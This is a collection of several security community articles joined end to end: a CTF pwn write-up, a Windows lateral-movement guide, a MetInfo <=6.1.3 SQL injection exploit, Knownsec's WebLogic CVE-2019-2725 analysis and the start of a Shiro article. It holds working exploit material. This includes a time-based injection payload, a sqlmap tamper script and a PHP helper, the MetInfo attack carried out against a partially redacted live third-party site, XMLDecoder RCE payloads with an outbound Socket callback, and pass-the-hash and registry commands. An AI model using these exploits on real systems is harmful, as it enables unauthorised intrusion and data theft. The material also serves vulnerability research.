if (total < offset + 4 || *(unsigned int*)(data + offset) != 0x78563412)
{
fprintf(stdout, "bad magic number :(n");
fflush(stdout);
return ;
}
offset += 4;
int rgb_nums = 4;
if (total < offset + 3*rgb_nums)
{
fprintf(stdout, "bad image format :(n");
fflush(stdout);
return ;
}
for (int i = 0; i < rgb_nums; ++i)
{
int r = data[offset++];
int g = data[offset++];
int b = data[offset++];
if ((r&1) == 0 || (g&1) == 1)
{
fprintf(stdout, "bad pixel value :(n");
fflush(stdout);
return ;
}
*(unsigned short *)(img_data + b) = 0x00FF;
}
if (total > offset)
{
for (int i = 0; i < 128; ++i)
{
readflag(img_data + i, flag_offset + (data[offset++] & 1), flag_size);
if (offset >= total)
{
break;
}
}
}
img_data[127] = '';
fprintf(stdout, "decode result: %sn", img_data);
fflush(stdout);
}
int main(int argc, char** argv)
{
unsigned char* data = NULL;
int width = 0;
int height = 0;
initflag();
show_welcome_msg();
srand((unsigned int)time(NULL));
while (!need_exit)
{
int choice = show_main_menu();
switch (choice)
{
case 1:
handle_size(width, height);
break;
case 2:
handle_data(width, height, data);
break;
case 3:
handle_decode(width, height, data);
break;
case 4:
default:
need_exit = true;
break;
}
}
return 0;
}
可以看到flag已经读取搭配全局变量flag中，成功利用之后flag会在handle_decode的result中出现
**exp**
from zio import *
import commands
def do_command(cmd_line):
(status, output) = commands.getstatusoutput(cmd_line)
return output
target = "./ImageDecoder"
def get_io(target):
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
r_m = False
w_m = False
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
return io
def set_param(io, w, h):
io.read_until("4. Exitn")
io.writeline("1")
io.read_until(": ")
io.writeline(str(w))
io.read_until(": ")
io.writeline(str(h))
def image_data(io, content):
io.read_until("4. Exitn")
io.writeline("2")
io.read_until(" 'A'n")
io.writeline(" ".join([str(ord(c)) for c in content]))
def decode_image(io):
io.read_until("4. Exitn")
io.writeline("3")
def exit_t(io):
io.read_until("4. Exitn")
io.writeline("4")
def get_flag(io, payload):
set_param(io, 16, 2)
image_data(io, payload)
decode_image(io)
io.read_until("decode result: ")
flag = io.read(1)
return flag
def pwn(io):
result = do_command("./get_offset 0")
payload = ""
payload += l32(0x78563412)#magic number
for i in range(4):
payload += l8(0x1) + l8(0x0) + l8(0x2)
payload = payload.ljust(16*2, 'b')
flag = ['-']*40
for item in result.strip().split(' '):
info = item.split(":")
offset = int(info[0])
index = int(info[1])
for i in range(offset):
get_flag(io, payload)
flag[index] = get_flag(io, payload)
print "".join(flag)
print "".join(flag)
exit_t(io)
io = get_io(target)
pwn(io)
其中get_offset是用来辅助计算handle_decode中 randint(0, sizeof(flag));
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int get_one()
{
return randint(0,40);
}
int randint(int low,int high)
{
return rand() % (high - low) + low;
}
int main(int argc,char **argv)
{
if(argc <=1)
{
srand(time(0));
}
else
{
srand(time(0) + atoi(argv[1]));
}
int i,one,index = 0 ,array[40],count = 0,j = 0;
while(index <= 39)
{
one = get_one();
for(i = 0; i < index ; i++)
{
if(array[i] == one)
{
break;
}
}
if(i >= index)
{
printf("%d:%d ",count-j,one);
j = count + 1;
array[i] = one;
index++;
}
count++;
}
printf("n");
return 0;
}
结果显示
**花絮**
* * *
1.当时我们APK做的很快，但是提交的时候一直失败，以为没做出来，后来Web搞定之后去交Web，也是失败。和主办方核对了半天token最后发现我们把use打成了user..
2.我们拿到Flag操控无人机的时候，都是让自己无人机怼自己的基地..这样收益最大。
3.比赛过程当中大家都很懵逼，各种瞎忙瞎着急，下了台才发现自己队伍是第一。 | 社区文章 |
**本文主要探讨在工作组和域横向移动中，由于默认remote UAC启用对横向移动造成的影响以及一些解决办法。主要分为了工作组横向和域横向两个板块。**
## 1.工作组横向
workgroup相关环境如下
主机A： |
---|---
ip地址 | 192.168.178.169
操作系统版本 | windows 10
主机名 | DESKTOP-CBBH65I
主机B： |
---|---
ip地址 | 192.168.178.225
操作系统版本 | windows server 2008
工作组横向比较常见，用以下一个攻击场景为例：
渗透测试人员在B主机上，获取到了A服务器一个名为dev的管理员账户密码(或hash)，那在B服务器上应当怎么登陆A服务器进行远程管理？(排除RDP)
常见的有sc类(psexec,scshell)、wmi类(wmiexec.wmic)、smb类(smbexec,ipc,smbclient)、winrm类等工具可以进行横向移动
但是，在windows Vista之后引入了一种默认开启的[remote UAC](https://support.microsoft.com/en-us/help/951016/description-of-user-account-control-and-remote-restrictions-in-windows)，计算机的任何非SID 500本地管理员帐户， 用户在远程计算机上没有特权提升能力，并且用户无法执行管理任务。
下图是当remote UAC启用时，对以上部分工具的测试：
Schtasks:
Psexec:
Wmiexec:
IPC:
Reg:
Scshell:
默认情况下，这些工具都无法正常工作。根据官方文档中的方法，我们可以使用如下命令，修改A主机的注册表键值：
**LocalAccountTokenFilterPolicy** 为1，即在主机A执行以下命令：
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
然后即可在主机B使用dev账户凭据进行远程管理，其他师傅已经写了不少这类文章，这里不再赘述，提一种比较新的方法：
通过[ChangeServiceConfigA](https://docs.microsoft.com/zh-cn/windows/win32/api/winsvc/nf-winsvc-changeserviceconfiga?redirectedfrom=MSDN)接口来无文件横向移动。这种方法依赖于DCERPC，优点在于无文件，不会注册创建服务也不通过smb认证。
项目地址：<https://github.com/Mr-Un1k0d3r/SCShell>
作者原文中采用了XblAuthManager这个xbox服务进行测试，我们可以用例如 vss(卷影拷贝服务)
这样更加通用的服务来进行远程命令执行，效果如下图：
以上方法都依赖于LocalAccountTokenFilterPolicy值为1，那么在LocalAccountTokenFilterPolicy值为0的时，有没有可能进行远程管理呢？
1.当管理员对C:\usser内任意文件进行共享后，即使关闭了文件共享，也会默认将Users目录进行共享。
详见：<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-7/ff660257(v=ws.10)?redirectedfrom=MSDN>
我们可以使用dev用户的凭据建立ipc连接然后查看共享资源
随后，我们对启动项等目录复制文件，达到进一步控制的效果。当然这种方法需要目标主机曾经共享过C:\users下的文件且需要主机dev用户重启触发payload(可能还需要绕过uac)。
2.winrm
如下图，我在主机A上对winrm进行快速设置时候，会将LocalAccountTokenFilterPolicy设置为1
此时意味着之前sc类(psexec,scshell)、wmi类(wmiexec.wmic)、smb类(smbexec,ipc,smbclient)等远程访问工具都可用，z=这里就不再详细测试了，winrm只需要在B主机上添加信任A主机即可，直接连接会被拒绝。当然，在本机添加信任对我们来说很简单。
如下图，我在主机B上添加了信任所有主机。
然后在主机B上通过ps remoting进程远程管理主机A
总结：
从以上结果可以看出，在工作组环境中，由于默认LocalAccountTokenFilterPolicy=1，极大地限制了横向移动。但是由于一些windows自身或者其他程序的配置，将LocalAccountTokenFilterPolicy设置为0，又为pth等横向手法提供了更多可能。
* * *
## 2.域横向
testdomain.local相关环境如下
主机A： |
---|---
ip地址 | 192.168.124.134
操作系统版本 | windows server 2012
主机名 | DC1
域管理员 | administrator、admin
主机B： |
---|---
ip地址 | 192.168.124.135
操作系统版本 | windows server 2008
主机名 | SQL01
本地管理员用户 | administrator、dev
在域环境中，remote
UAC只是对本地用户进行限制，并没有对域用户进行限制，所以当获取到域管理员的密码(或hash)，我们可以使用sc类(psexec,scshell)、wmi类(wmiexec.wmic)、smb类(smbexec,ipc,smbclient)、winrm类等工具进行远程连接，如下图所示，在SQL01上运行mimikatz，使用域管理员admin账号，可以进行进行pth：
同样地，由于remote
UAC存在，即使域内互相信任的主机使用非sid500的本地管理员凭据也无法登陆。即在DC1上使用SQL01上的管理员用户dev凭据登录SQL01，也无法成功。
值得一提的是，由于多数域环境中，为了方便管理，采用域策略使域内所有电脑默认启用了winrm服务，这为内网横向提供了便利。如果主机没有开启winrm服务，远程启用winrm也比较简单，以psexec为例，只需要如下命令即可：
psexec \ComputerName -s winrm.cmd quickconfig -q
我们都知道，psexec、wmiexec等工具可以使用哈希传递而不使用明文，那winrm能否使用pth呢？答案是可行的。方法有很多，以CobaltStrike为例，我们可以通过pth然后启动进程然后steal_token，使用winrm执行命令，效果如下图：
总结：由于域用户不受LocalAccountTokenFilterPolicy限制，所以当获取到高权限域用户凭据时，可以比较方便地进行横向。 | 社区文章 |
metinfo<=6.1.3前台SQL注入
需要会员权限
对服务器版本有限制【PHP-TS】
### 0x01 前言
看到[某info <= 6.1.3前台getshell](https://xz.aliyun.com/t/4425)后决定发出来
（里面没说前台注入啊【手动狗头】）
### 0x02 代码分析
定位到`/member/basic.php`文件，代码如下：
看到这种样式的，我们就联想到了`MVC`框架，类似`Tp`、`CI`、`YII`，不过这是metinfo内置的框架，框架目录主要位于`/app/system`中，每个文件夹都是一个家目录，我们主要定位到`/app/system/user/web/profile.class.php`中的`dosafety_emailadd`方法：
148 Line 使用global关键字引入全局变量$_M
149 Line判断外部传入的$_COOKIE or $_POST or $_GET参数p是否为真
150 Line加载了auth类并实例化赋值给$auth
151 Line将$_M['form']['p']传入auth类中的decode方法解密并赋值给$email
152 Line判断$email是否为真
153 Line将$_M['user']['id']、$email传入$this->userclass类中的editor_uesr_email方法
目前我们只需要看这么多就好啦！我们接着来分析这个`auth`类，定位到`/app/system/include/class/auth.class.php`
176 Line使用global关键字将全局变量$_M引入到当前方法中
177 Line判断传入的参数$userid是否为假
180 Line将传入的参数$email传入到当前类中的get_user_by_email方法并判断返回值是否为真
进入`get_user_by_email`方法中：
622 Line调用Load类中的静态方法is_plugin_exist判断doemail插件是否存在并将返回值赋予$isplugin
625 Line判断$isplugin是否为真
635 Line判断$emailres为真或者全等于NULL的情况下那么进入判断
636 Line调用当前类中的get_user_by_emailid静态方法
接着进入`get_user_by_emailid`静态方法：
到这个方法之后，它直接将我们传入的`$email`拼接到了SQL语句中，从而产生了SQL注入
### 0x03 代码调试
在`dosafety_emailadd`方法中输入如下语句并且改变一下语句顺序：
在`get_user_by_emailid`输入如下语句：
接下来访问下url：
http://localhost:8081/member/basic.php?a=dosafety_emailadd
可以看到程序成功将`123`拼接到了SQL语句中，哈哈，万事大吉，但是程序最终返回的仅仅是true or
false所以这里我们要用到延时注入，最终Payload如下：
再次访问
http://localhost:8081/member/basic.php?a=dosafety_emailadd
五秒以上才反应过来，程序是不是有点傻哦！正应了我们的延时盲注，接着我们将这段加密输出了之后再整吧！
再次访问
http://localhost:8081/member/basic.php?a=dosafety_emailadd
接着访问：
http://localhost:8081/member/basic.php?a=dosafety_emailadd&p=f7d0QyEq6a5NyeiXr9%2BMf64AnQCUB6T1o8t0e5eJ2eyHrajOLzHX%2FOugywvVXSDmKIuR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2B49vcM9sIai4
又是过了很久才出来。。。
### 0x04 漏洞复现
互联网<http://www.d******re.com>
http://www.d******re.com/member/basic.php?a=dosafety_emailadd&p=f7d0QyEq6a5NyeiXr9%2BMf64AnQCUB6T1o8t0e5eJ2eyHrajOLzHX%2FOugywvVXSDmKIuR9pa9E2BmcV%2FcwaeQ5VMVwZaZ3ZPm7UEnPSjpXcLL%2BuhRntMMWop%2B49vcM9sIai4
调试半天发现是key的问题 key在`/config/config_safe.php`，打开文件是这样的：
就在这里我做了一个大胆的假设，直接访问然后审查元素看看被注释的东西是否存在
访问：
view-source:http://localhost:8081/config/config_safe.php
这里是PHP版本的问题，在phpstudy中有两种大版本，PHP-nts（非线程安全）、PHP-ts（线程安全）
nts版本的PHP会显示如下内容
而ts版本如下：
这就意味着这个洞只能用于ts版本了 各位师傅如果有什么新发现来讨论一波可好？
接着我们把auth这个类复制出来，我们应用到加密去：
这个类中我们需要修改两处才能正常使用:
8 Line $this->auth_key中的值替换成获取到的key
31 Line $key = md5($key);
Over，我们来看看实际站点能否获取到它的key：
view-source:http://www.d****re.com/config/config_safe.php
把我用红色框框圈起来的放到需要替换key的那里去，接着实力化这个类，加密后再用url编码：
再访问：
http://www.d******e.com/member/basic.php?a=dosafety_emailadd&p=204eUixfyB1n2wh835QWkft%2F58n7Pbp2MgtdHLzL%2FCq55OGuDERix7KJfSE4dGNLKrCziXTr3U4GFyQi9LP1rLinR1JPFZWMASBEMQZ%2Fdrmg9eXwrzNkcmJWHn75LZpH3j6X
至此漏洞利用结束
### 0x05 漏洞修复
对于这里的修复就比较好了，metinfo函数库已经很成熟了，比如`inject_check`（存在被绕过风险）、`daddslashes`
### 0x06 temper编写
需要注意将SQLMAP传入的payload通过api接口返回加密后的字符串进行处理
#!/usr/bin/env python
"""
Metinfo V6.1.3
"""
from lib.core.enums import PRIORITY
from sys import argv
import urllib2
__priority__ = PRIORITY.LOWEST
api_url = "http://localhost:8081/sqli.php?key=#1&encodestr=#2"
key_name = "/config/config_safe.php"
def dependencies():
pass
def tamper(payload, **kwargs):
global api_url
url = argv[2].replace("/member/basic.php?a=dosafety_emailadd&p=*","")
send_key(url)
res = request(api_url.replace("#2",urllib2.quote("a.com' or username='test'"+payload)))
if res["code"] == 200:
return res["text"]
def send_key(url):
global api_url,key_name
res = request(url+key_name)
if(res["code"] == 200):
if(len(res["text"])>0):
api_url = api_url.replace("#1",res["text"].replace("<?php/*","").replace("*/?>",""))
else:
print "[-] URL can not be used. "
exit()
def request(url):
request = urllib2.Request(url)
request.add_header('Content-Type', 'application/x-www-form-urlencoded')
response = urllib2.urlopen(request)
return {"code":response.getcode(),"text":response.read()}
保存为py文件 供sqlmap调用
<?php
//作为api，方便调用，over
class auth {
public $auth_key;
public function __construct($key) {
$this->auth_key = $key;
}
public function decode($str, $key = ''){
return $this->authcode($str, 'DECODE', $this->auth_key.$key);
}
public function encode($str, $key = '', $time = 0){
return $this->authcode($str, 'ENCODE', $this->auth_key.$key, $time);
}
public function creatkey($length = '10'){
$str="A2B3C4zD5yE6xF7wG8vH9uitJsKrLnMmNlPkQjRiShTgUfVeWdXcYbZa";
$result="";
for($i=0;$i<$length;$i++){
$num[$i]=rand(0,25);
$result.=$str[$num[$i]];
}
return $result;
}
public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
}
if(length(user())>=10,sleep(5),0);#"
if(isset($_REQUEST["key"]) && !empty($_REQUEST["key"]))
{
$auth = new auth($_REQUEST["key"]);
}
else
{
exit("[-] Please input key.");
}
if(isset($_REQUEST["encodestr"]) && !empty($_REQUEST["encodestr"]))
{
// var_dump($auth->encode("[email protected]' or username='username' and if(length(user())>=10,sleep(5),0);#"));
// var_dump(urldecode($_REQUEST["encodestr"]));
exit($auth->encode(urldecode($_REQUEST["encodestr"])));
}
else
{
exit("[-] Please enter encrypted string.");
}
?>
保存为php文件 跑起来供上面的temper调用。（注意修改代码中的用户名为自己注册的用户名）
sqlmap：
sqlmap -u "http://localhost:8081/member/basic.php?a=dosafety_emailadd&p=*" --cookie "会员cookie" --tamper "Metinfo.py" --dbms "mysql" --technique "T"
Over，剩下的自己琢磨。 | 社区文章 |
**Author: Badcode@Knownsec 404 Team**
**Chinese version:<https://paper.seebug.org/909/>**
### 17 April
On April 17, 2019, CNVD released the security bulletin, tracked as
[CNVD-C-2019-48814](http://www.cnvd.org.cn/webinfo/show/4989). The bulletin
pointed out that the `wls9_async_response.war` package included in some
versions of WebLogic by default provides asynchronous communication for
WebLogic Server service. Because the WAR package is flawed when deserializing
input information, an attacker can send a constructed malicious HTTP request
to gain the permissions of the target server and execute the command remotely
without authorization.
### 18 April
On April 18, 2019, I started researching this vulnerability. Because this
vulnerability was 0day at the time, there is no patch for reference, only the
announcement content. I started with `wls9_async_response.war` package
mentioned in the announcement, and take a look at the url in `web.xml` first.
I tryed to access it when I saw `/AsyncResponseService` but it returned 404.
Then I noticed `weblogic.xml` and `weblogic-webservices.xml`
Access `_async/AsyncResponseService`
It can be accessed, combined with the announcement of the vulnerability
recommendations, I guess the trigger point of this vulnerability is right
here.
See `weblogic.wsee.async.AsyncResponseBean` class in `weblogic-webservices.xml`, view this class and find it in `wseeclient.jar`
Then I breakpoints under the methods in this class, and then construct a
normal SOAP message and send it.
There is no debug to the breakpoint. Finally, I put all the methods of all
classes in `wsee/async` with breakpoints, resend the message, and successfully
intercepted the `handleRequest` in the `AsyncResponseHandler` class.
See the `string var2 =
(String)var1.getProperty("weblogic.wsee.addressing.RelatesTo")` in the image;
this step never gets the value, causing the process to end. In order to solve
this problem, I have turned a lot of information, and finally found a similar
example, you can use `<ads:RelatesTo>test</ads:RelatesTo>` to assign value to
`weblogic.wsee.addressing.RelatesTo`.
<?xml version="1.0" encoding="UTF-8" ?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ads="http://www.w3.org/2005/08/addressing">
<soapenv:Header>
<ads:Action>demo</ads:Action>
<ads:RelatesTo>test</ads:RelatesTo>
</soapenv:Header>
<soapenv:Body></soapenv:Body>
</soapenv:Envelope>
The following process is wrong, so I'm not gonna write it here.
### 19 April
On April 19, 2019, My partner sent me a screenshot.
Search the `UnitOfWorkChangeSet` class globally and then breakpoints in this
class.
According to the screenshot, construct a similar HTTP request and then send it
Now it can be debugged in the `UnitOfWorkChangeSet` class
I saw the `readObject` method and tried to use the gadget in ysoserial.
Currently, the `commoncollections` related to WebLogic are unusable. The
version of `common-collections` that WebLoigc relies on has been upgraded.
First, find a `Jdk7u21` gadget to test it and convert the generated payload
into byte type.
As you can see, the command was successfully executed. But this gadget has too
many restrictions. I think of a WebLogic deserialize rce vulnerability last
year, CVE-2018-3191. Since jdk7u21 is not restricted by WebLogic blacklists,
CVE-2018-3191 should be the same.
As you can see, CVE-2018-3191 is also available. Discuss with
[@pyn3rd](https://twitter.com/pyn3rd) whether there are other gadgets, look at
the blacklist carefully, except CVE-2018-3191, only the new jython gadget
(CVE-2019-2645), submitted by [@Matthias
Kaiser](https://twitter.com/matthias_kaiser), but this has no details, so no
way to use it.
Go back to the `handleRequest` method in the `AsyncResponseHandler` class and
see the previous step of the `handleRequest`, the `handleRequest` method in
the `HandlerIterator` class.
public boolean handleRequest(MessageContext var1, int var2) {
this.closureEnabled = false;
this.status = 1;
WlMessageContext var3 = WlMessageContext.narrow(var1);
if (verboseHistory) {
updateHandlerHistory("...REQUEST...", var3);
}
for(this.index = var2; this.index < this.handlers.size(); ++this.index) {
Handler var4 = this.handlers.get(this.index);
if (verbose) {
Verbose.log("Processing " + var4.getClass().getSimpleName() + "... ");
}
if (verboseHistory) {
updateHandlerHistory(var4.getClass().getSimpleName(), var3);
}
HandlerStats var5 = this.handlers.getStats(this.index);
try {
var3.setProperty("weblogic.wsee.handler.index", new Integer(this.index));
String var6;
if (!var4.handleRequest(var3)) {
if (verboseHistory) {
var6 = var4.getClass().getSimpleName() + ".handleRequest=false";
updateHandlerHistory(var6, var3);
}
if (var5 != null) {
var5.reportRequestTermination();
}
return false;
}
The `handleReques`t method iterates through `this.handlers` and then calls
each handler's `handleRequest` to handle the SOAP Message.
`AsyncResponseHandler` is only one of 21 handler, and `webLogic.
wsee.addressing.relatesto` is assigned in `ServerAddressingHandler`, and those
who are interested can follow it. There is a very important
handler--`WorkAreaServerHandler`.
The following process is the same as CVE-2017-10271. For an analysis of this
vulnerability, see the [@xxlegend](https://twitter.com/shengqi158)'s
[article](https://paper.seebug.org/487/).
As you can see here, this url is just another trigger point for the
CVE-2017-10271 vulnerability. This is also a reason for the late lead to false
PoC. The whole process is probably as follows:
How does this PoC bypass the blacklist of CVE-2017-10271?
First look at the CVE-2017-10271 patch, the data will be checked by the
validate method, and then passed to the `XMLDecoder`.
public WorkContextXmlInputAdapter(InputStream var1) {
ByteArrayOutputStream var2 = new ByteArrayOutputStream();
try {
boolean var3 = false;
for(int var5 = var1.read(); var5 != -1; var5 = var1.read()) {
var2.write(var5);
}
} catch (Exception var4) {
throw new IllegalStateException("Failed to get data from input stream", var4);
}
this.validate(new ByteArrayInputStream(var2.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(var2.toByteArray()));
}
private void validate(InputStream var1) {
WebLogicSAXParserFactory var2 = new WebLogicSAXParserFactory();
try {
SAXParser var3 = var2.newSAXParser();
var3.parse(var1, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String var1, String var2, String var3, Attributes var4) throws SAXException {
if (var3.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (var3.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (var3.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (var3.equalsIgnoreCase("void")) {
for(int var5 = 0; var5 < var4.getLength(); ++var5) {
if (!"index".equalsIgnoreCase(var4.getQName(var5))) {
throw new IllegalStateException("Invalid attribute for element void:" + var4.getQName(var5));
}
}
}
if (var3.equalsIgnoreCase("array")) {
String var9 = var4.getValue("class");
if (var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String var6 = var4.getValue("length");
if (var6 != null) {
try {
int var7 = Integer.valueOf(var6);
if (var7 >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += var7;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}
} catch (NumberFormatException var8) {
;
}
It can be seen that the tags of `object`, `new`, and `method` are all
filtered. The `void` tag can only be followed by `index`, and the `array` tag
can be followed by the `class` attribute, but the type can only be of type
`byte`. Among them, the filtering `object` tag is a patch of CVE-2017-3506,
and the remaining filtering is a patch for CVE-2017-10271.
The key to bypassing this blacklist is the `class tag`, which can be found in
the official
[documentation](https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.html).
The `class` tag can represent an instance of a class, which means that you can
use the class tag to create an instance of any class. The `class` tag is not
in the blacklist of WebLogic, which is the reason for this vulnerability. On
April 26, Oracle released a patch for this vulnerability, and filtering the
`class` tag also confirmed this.
Since the reason for the vulnerability is to bypass the blacklist of
CVE-2017-10271, then `wls-wsat.war` should also be affected.
Test it.
### 21 April
On April 21, 2019, I was going to construct a detection PoC for this
vulnerability. I could use the `class` tag to create an instance of the
`java.net.Socket` class. My jdk version is jdk 6u45.
<java>
<class>
<string>java.net.Socket</string>
<void>
<string>aaaaabbbbbbbbbbb.wfanwb.ceye.io</string>
<int>80</int>
</void>
</class>
</java>
[Ceye](http://ceye.io/) successfully received the request, which also
indicates that the Socket instance was created successfully.
I tested the above PoC on jdk 7, but it failed. The program prompted
java.net.Socket nof found error, which made me think that this vulnerability
could only be triggered under jdk 6. After careful comparison, it was found to
be a newline character problem. The correct PoC should be like this
<java><class><string>java.net.Socket</string><void><string>aaaaabbbbbbbbbbb.wfanwb.ceye.io</string><int>80</int></void></class></java>
### 22 April
On April 22, 2019, @pyn3rd failed to test WebLogic 12.1.3. He found that the
version 12 did not have the
`oracle.toplink.internal.sessions.UnitOfWorkChangeSet` class, so there was no
way to use it. So I tried to construct a new exp. The current situation is
that I can create an instance of the class, but I can't call the method. I
think of `com.sun.rowset.JdbcRowSetImpl` class.
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="com.sun.rowset.JdbcRowSetImpl">
<void property="dataSourceName">
<string>rmi://localhost:1099/Exploit</string>
</void>
<void property="autoCommit">
<boolean>true</boolean>
</void>
</void>
</java>
This is one of the CVE-2017-10271 payloads. The previous blacklist mentioned
that the `void` tag can only be followed by index, so the above payload will
definitely be rejected by the blacklist. Try to rewrite the above payload
using the `class` tag.
In the process, I found that jdk 6 and jdk 7 handle tags differently.
Jdk 6 uses`com.sun.beans.ObjectHandler`
Available tags are `string`, `class`, `null`, `void`, `array`, `java`,
`object` and some primive tags (like `int`).
Jdk7 uses`com.sun.beans.decoder.DocumentHandler`
As you can see, there are some differences compared with jdk6. For example,
jdk 6 does not support tags such as `new` and `property` .
When I used the jdk 6 tag to construct exp, I did not succeed until I saw the
`property` tag in the source code of jdk 7, I found what I wanted, and this
tag is not in the WebLogic blacklist. So you can override the previous payload
with the `property` tag.
Successfully executed the command and both 10.3.6 and 12.1.3 can be used.
Unfortunately, this payload cannot be used in jdk 6 because jdk 6 does not
support the `property` tag.
### 23 April
On April 23, 2019, After major security companies issued a vulnerability
alert, many fake PoCs that could not bypass the patch appeared. Many people
said that the test was successful, but they were all tested without patches.
Oracle's downloaded WebLogic is not patched, Oracle's patch is a separate
charge, if you install the CVE-2017-10271's patch,these PoC and exp cannot
bypass the blacklist.
### 26 April
On April 26, 2019, Oracle officially released an emergency patch and this
vulnerability has been identified as **CVE-2019-2725**.
### 27 April
On April 27, 2019, @pyn3rd said that the exp of the WebLogic 12.1.3 was also
researched, using `org.slf4j.ext.EventData`
public EventData(String xml) {
ByteArrayInputStream bais = new ByteArrayInputStream(xml.getBytes());
try {
XMLDecoder decoder = new XMLDecoder(bais);
this.eventData = (Map)decoder.readObject();
} catch (Exception var4) {
throw new EventException("Error decoding " + xml, var4);
}
}
Looking at the construction method of this class, if I can construct an
instance of this class, I can call `XMLDecoder.readObject` again, and the
second time I call this, will not be checked by the blacklist.
### 30 April
On April 30, 2019, I saw other uses of this vulnerability without the version
restrictions of weblogic and jdk. This exploitation I have seen before, is the
[demo video](https://www.youtube.com/watch?v=lePLlC1hFrU&feature=youtu.be)
sent by Tenable. I didn't understand it at the time. After I saw the exploit
method, I realized what I ignored. This exploitation can refer to
CVE-2017-17485 vulnerability.
### summary
For this vulnerability, Oracle issued [a rare out-of-band security
update](https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html) to address this vulnerability, and still uses the
blacklist to fix it. In the process of researching this vulnerability, I also
learned a lot of new tips.
### Reference
* [关于Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞的安全公告](http://www.cnvd.org.cn/webinfo/show/4989)
* [Weblogic XMLDecoder RCE分析](https://paper.seebug.org/487/)
* [Oracle Security Alert Advisory - CVE-2019-2725](https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html)
* [[KnownSec 404 Team] Oracle WebLogic Deserialization RCE Vulnerability (0day) Alert](https://medium.com/@knownseczoomeye/knownsec-404-team-oracle-weblogic-deserialization-rce-vulnerability-0day-alert-90dd9a79ae93)
* [WebLogic Unauthenticated Remote Code Execution Vulnerability (CVE-2019-2725) with Pocsuite3](https://www.youtube.com/watch?v=NtjC7cheNd8&feature=youtu.be)
## About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
# Shiro反序列化漏洞详细分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
上次讲了最近的shiro权限绕过的漏洞，这次来补充分析一下以前的shiro-550反序列化漏洞。另外学习了shiro-550也可以更好地理解shiro-721漏洞，也就是Shiro
Padding Oracle Attack。所以这次就详细地看下shiro反序列化漏洞。
## 0x01 shiro-550介绍
